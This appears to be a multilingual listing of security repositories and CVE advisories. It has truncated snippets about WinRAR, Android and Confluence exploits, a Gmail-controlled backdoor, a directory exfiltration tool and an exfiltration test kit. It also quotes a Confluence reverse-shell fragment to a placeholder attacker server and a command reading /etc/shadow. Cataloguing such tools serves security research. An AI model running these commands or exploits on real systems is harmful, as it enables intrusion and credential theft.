CVE-2025-8088-Winrar-Tool-Gui

🚨 CVE-2025-8088 WinRAR 익스플로잇 도구 ⚠️ 교육 및 연구 목적으로만 사용하세요 ⚠️ 🌐 언어 🇺🇸 English 🇹🇷 Türkçe English 📋 목차 개요 기능 요구 사항 설치 사용법 기술 세부 사항 스크린샷 면책 조항 기여 🎯 개요 CVE-2025-8088 은 RAR 아카이브 파일에서 경로 탐색Path Traversal 공격 을 시연하는 가상의 취약점 데모 도구입니다. 이 교육용 도구는 악성 아카이브가 디렉터리 탐색 기법을 악용하여 의도된 압축 해제 디렉터리 밖으로 파일을 추출하는 방법을 보여줍니다. 🔍...

CVE-2024-0044

CVE-2024-0044- CVE-2024-0044: Android 12 및 13에 영향을 미치는 '모든 앱으로 실행' 고심각도 취약점 CVE-2024-0044 익스플로잇 스크립트 이 Bash 스크립트는 CVE-2024-0044를 익스플로잇하는 방법을 보여줍니다. 교육 및 테스트 목적으로만 사용하세요. 사전 요구 사항 ADB Android Debug Bridge 설치 및 구성됨 USB 디버깅이 활성화된 연결된 Android 기기 스크립트 코드 !/bin/bash Function to exploit CVE-2024-0044...

GDir-Thief

GDir-Thief Инструмент Red Team для эксфильтрации каталога людей Google Google People Directory целевой организации, к которому у вас есть доступ, через Google People API. КАК ЭТО ИСПОЛЬЗОВАТЬ Создание нового проекта Google Cloud Platform GCP Шаги для получения токена доступа Google API,...

creepy

creepy Текущая версия 1.1 Автор Yiannis Kakavas Домашняя страница http://www.geocreepy.com Инструкции по установке См. http://www.geocreepy.com Описание Инструмент OSINT для геолокации. Creepy — это инструмент OSINT для геолокации. Собирает информацию, связанную с геолокацией, из онлайн-источнико...

CMS-Made-Simple-2.2.9-CVE-2019-9053

Отказ от ответственности Этот репозиторий предоставляет эксплойт, совместимый с Python 3, нацеленный на неаутентифицированную уязвимость SQL-инъекции в CMS Made Simple версий 2.2.9 и более ранних. Ошибка, отслеживаемая как CVE-2019-9053, позволяет злоумышленникам извлекать конфиденциальные данные...

CVE-2026-97291

Contributor PHP Object Injection in Schema & Structured Data for WP & AMP = 1.66 versions...

CVE-2026-103440

Exposure of sensitive information through data queries vulnerability in The Wikimedia Foundation MediaWiki PageTriage extension allows Information Elicitation. This issue affects MediaWiki PageTriage extension: 1.46, 1.45, and 1.43...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 원격 명령 실행 취약점 사용법 C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: POST /account HTTP/1.1 Host: 10.10.20.166:8080 Connection...

http-stalling-detector

HTTP 스톨링 탐지기 HTTP 스톨링 DoS 공격은 웹 서버가 원격 클라이언트가 단순히 느린 링크로 연결된 것인지, 아니면 원격 클라이언트가 웹 서버가 타임아웃을 수행하고 로컬 시스템 리소스를 보존하기 위해 연결을 종료하는 것을 피하려고 의도적으로 데이터를 매우 느리게 보내는 것인지 판단할 수 없는 점을 악용합니다. 공격자에게서 일반적으로 나타나는 행동은 많은 연결을 열고 웹 서버가 연결을 타임아웃시키지 못하도록 데이터를 천천히 흘려보내는 것입니다. 웹 서버가 비교적 작은 작업자 풀을 사용하는 경우, 이러한 리소스 고갈 상태...

Twitter-Info

트위터 정보 트위터 계정 정보를 가져오는 간단한 파이썬 스크립트입니다. 다음과 같은 정보를 가져옵니다: 이름 팔로잉 팔로워 좋아요 계정 생성일 프로필 사진 사용자 이름 또는 프로필 링크만 있으면 됩니다. 사용법 python3 twitterinfo.py or 예시 입력 python twitterinfo.py ngll 출력 Name: Nigella Tweets: 30 Following: 8 Followers: 4 Likes: 9 Account made in: 10:45 - 31 Oca 2017 Full profile picture...

exfilkit

exfilkit 데이터 유출 탐지 기능 테스트를 위한 유틸리티 설명 보안 제품의 탐지 기능을 테스트하기 위한 데이터 유출 유틸리티입니다. 당연히 합법적인 목적으로만 사용해야 합니다. 유출 방법 /etc/shadow - HTTP GET 요청 서버 ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log 클라이언트 $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -...

ATTACKdatamap

ATTACKdatamap 이벤트 수준의 데이터 소스 평가를 통해 "MITRE ATT&CK" 프레임워크의 잠재적 적용 범위를 보여주는 도구입니다. 이 도구는 제가 개발했으며 "MITRE" 또는 그 훌륭한 "ATT&CK" 팀과는 아무런 관련이 없습니다. 데이터 소스 매핑을 용이하게 하여 잠재적인 적용 범위를 평가할 수 있도록 개발되었습니다. 블로그 게시물에서 자세한 내용을 확인하세요 여기 시작 이 도구는 ImportExcel 모듈이 필요합니다. 다음과 같이 설치하세요: PS C:\ Install-Module ImportExcel...

themis

Themis는 바쁜 사람들을 위한 강력하고 실용적인 암호화를 제공합니다 iOSSwift, Obj-C, AndroidJava, Kotlin, React NativeiOS, Android, 데스크톱 Java, С/С++, Node.js, Python, Ruby, PHP, Go, Rust, WASM을 위한 저장 및 메시징용 범용 암호화 라이브러리입니다. 멀티플랫폼 앱에 완벽하게 적합합니다. 암호화 세부 사항을 숨겨줍니다. 암호화 전문가가 개발자를 위해 만들었습니다 🧡 Themis란 무엇인가 Themis는 인증, 저장, 메시징, 네트...

gdog

Gdog A stealthy Python based Windows backdoor that uses Gmail as a command and control server This project was inspired by the gcathttps://github.com/byt3bl33d3r/gcat from byt3bl33d3r. Requirements Python 2.x PyCrypto module WMI module Enum34 module Netifaces module Features Encrypted...

vuln-bank-mobile

💳 Vulnerable Bank 모바일 앱 Vulnerable Bank 는 보안 엔지니어, 침투 테스터, 모바일 앱 보안 학습자를 위해 제작된 의도적으로 취약한 모바일 애플리케이션으로, 안전하지 않은 코딩 관행의 실제 공격을 연습하고 시연할 수 있도록 설계되었습니다. 이 모바일 앱은 일반적인 은행 기능을 갖춘 의도적으로 취약한 웹 API인 Vulnerable Bank API의 프론트엔드 역할을 합니다. 📥 즉시 다운로드 및 실행 권장 🆕 이제 컴파일된 .apk를 GitHub Releases에서 직접 다운로드할 수 있습니다. 📦...

CVE-2022-26134

CVE-2022-26134 원격 공격자는 인증 없이 OGNL 표현식을 구성하여 주입하고, Confluence Server 또는 Data Center에서 임의의 코드를 실행할 수 있습니다. poc를 수정하여 getshell을 쉽게 합니다. 일반 포트: 8090 영향받는 버전 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

CVE-2026-47525

A flaw was found in nvidia-driver. The kernel mode layer improperly validates array indices during driver operations. A local attacker can exploit this vulnerability to achieve arbitrary code execution, escalate privileges, cause a Denial of Service DoS, or tamper with system data...

CVE-2026-47600

A flaw was found in the NVIDIA GPU Display Driver. The driver's kernel mode layer improperly handles resources during error processing by operating on uninitialized data. A local user with low privileges could exploit this flaw to achieve arbitrary code execution, escalate privileges, access...

CVE-2026-47594

A flaw was found in the NVIDIA GPU display driver. A local unprivileged user can trigger a use-after-free condition—where memory is accessed after it has been released—by submitting a specific sequence of driver commands. Successful exploitation could allow an attacker to execute arbitrary code,...

CVE-2026-47554

A flaw was found in nvidia-driver. Under conditions of memory pressure, the kernel mode layer improperly verifies cryptographic signatures, allowing verification checks to be bypassed. A local attacker with low privileges could exploit this vulnerability to tamper with system data or cause a Deni...